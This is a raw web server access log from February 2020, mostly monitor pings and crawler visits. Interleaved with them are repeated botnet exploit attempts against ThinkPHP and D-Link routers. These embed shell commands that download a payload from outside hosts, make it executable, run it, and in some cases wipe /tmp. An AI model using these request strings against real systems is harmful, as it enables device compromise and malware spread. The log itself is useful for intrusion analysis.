42.116.248.91 - - [13/Feb/2020:12:34:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.232.156 - - [13/Feb/2020:12:34:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.96.110 - - [13/Feb/2020:12:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:12:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.43 - - [13/Feb/2020:12:37:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:12:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.215.189.30 - - [13/Feb/2020:12:39:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:12:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.178.36.123 - - [13/Feb/2020:12:40:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:12:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.226.170.173 - - [13/Feb/2020:12:42:40 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:12:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.0.21.45 - - [13/Feb/2020:12:43:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:12:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [13/Feb/2020:12:44:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:12:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.16.164.54 - - [13/Feb/2020:12:45:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.78 - - [13/Feb/2020:12:46:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.127.53 - - [13/Feb/2020:12:46:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.226.127.142 - - [13/Feb/2020:12:48:24 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:12:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [13/Feb/2020:12:50:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.49.119 - - [13/Feb/2020:12:51:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:12:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [13/Feb/2020:13:01:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.62.184.143 - - [13/Feb/2020:13:04:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:13:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.254 - - [13/Feb/2020:13:07:03 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.224 - - [13/Feb/2020:13:07:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:13:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.50.52.26 - - [13/Feb/2020:13:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.191.52.254 - - [13/Feb/2020:13:09:50 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
193.198.66.62 - - [13/Feb/2020:13:10:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.235.75 - - [13/Feb/2020:13:11:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.172.72.13 - - [13/Feb/2020:13:11:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [13/Feb/2020:13:16:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.128.120 - - [13/Feb/2020:13:21:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.21.99.158 - - [13/Feb/2020:13:22:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:13:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.130.202.98 - - [13/Feb/2020:13:23:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:13:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.214 - - [13/Feb/2020:13:25:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.26.63.74 - - [13/Feb/2020:13:33:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:13:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.31.107 - - [13/Feb/2020:13:35:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.112 - - [13/Feb/2020:13:38:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [13/Feb/2020:13:42:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.32.253.144 - - [13/Feb/2020:13:42:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.16.164.54 - - [13/Feb/2020:13:44:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.17.58.74 - - [13/Feb/2020:13:45:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.113.197.251 - - [13/Feb/2020:13:45:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [13/Feb/2020:13:46:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [13/Feb/2020:13:46:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [13/Feb/2020:13:46:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:13:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [13/Feb/2020:13:46:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:13:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.232.170.52 - - [13/Feb/2020:13:49:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:13:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.45.253.192 - - [13/Feb/2020:13:49:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:13:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.242.87 - - [13/Feb/2020:13:51:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.125.44.233 - - [13/Feb/2020:13:51:08 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:13:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.71 - - [13/Feb/2020:13:52:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.0 - - [13/Feb/2020:13:55:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:13:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:13:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
